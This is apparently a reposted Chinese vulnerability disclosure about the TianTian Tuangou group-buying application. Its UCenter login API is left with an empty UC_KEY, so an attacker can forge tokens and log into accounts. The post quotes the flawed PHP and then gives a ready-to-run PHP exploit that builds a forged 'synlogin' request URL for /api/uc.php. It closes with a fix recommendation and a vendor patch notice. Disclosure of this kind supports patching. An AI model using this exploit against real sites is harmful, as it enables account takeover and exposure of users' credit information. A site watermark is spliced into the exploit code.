天天团购集成了ucenter一站式登录api,但是UC_key未初始化将导致攻击者可以登录任意帐号,甚至操作信用卡信息. 详细说明： $get = $post = array(); $code = @$_GET['code']; //获取token parse_str(_authcode($code, 'DECODE', UC_KEY), $get); //UC_KEY未经初始化的情况下会为空 if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); //哟嗬? } $timestamp = time(); if(empty($get)) { exit('Invalid Request'); } elseif($timestamp - $get['time'] > 3600) { //如果token中的时间戳有效期不足一小时则不允许登录 exit('Authracation has expiried'); } $action = $get['action']; ... ... if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings'))) { //定义了几个操作接口,其中,恩,有很多好玩的东西 ... ... function synlogin($get, $post) { //登录接口 $uid = (int) $get['uid']; //需要两个参数,uid和username $username = $get['username']; ... ... $query = $this->db->query("SELECT uid, password, secques FROM {$this->tablepre}system_members WHERE ucuid='$uid'"); //这里传递的不是数据库内的uid,而是ucuid,这里初始都是0的,但是这里又写的很糙,username根本没进入查询流程,也就是说只能登录第一个账户 $UserFields = $this->db->fetch_array($query); if (!$UserFields) { ; } if($UserFields) { $auth = TTTuangouAuthcode("{$UserFields['password']}\t{$UserFields['secques']}\t{$UserFields['uid']}"); //取出用户信息后直接站内登录 _setcookie('sid', '', -86400 * 365); _setcookie('auth',$auth,(365*86400)); _setcookie('cookietime','2592000',(365*86400)); ... ... UC_KEY未初始化为空,所以也就等于别人知道了你的UC_KEY,可直接进行操作,像一些应用初始化为123456其实一样可笑,下了你的源码看一眼不就又知道了? 漏洞 证明： Exp: <?php error_reporting(0); $username = $argv[1]; $key = ''; $code = 'time=1356796800&username='.$username.'&uid=0&action=synlogin'; echo "$code\n"; $exp = urlencode(authcode($code, "ENCODE", $key)); print_r('/api/uc.php?code='.$exp); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; www.2cto.com $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } 修复方案： 需要在安装过程就给予正确的引导,比如设置自己的key或者禁用uc_client功能等. 作者 牛奶坦克 开发者提供升级补丁：ucenter模块配置初始化漏洞，使用者整合了ucenter就相对来说安全些，已经发布补丁更新相关程序 下载 。 补丁详见：http://cenwor.com/thread-12826-1-1. html
查看更多关于天天团购UC_KEY未初始化安全隐患及补丁 - 网站安的详细内容...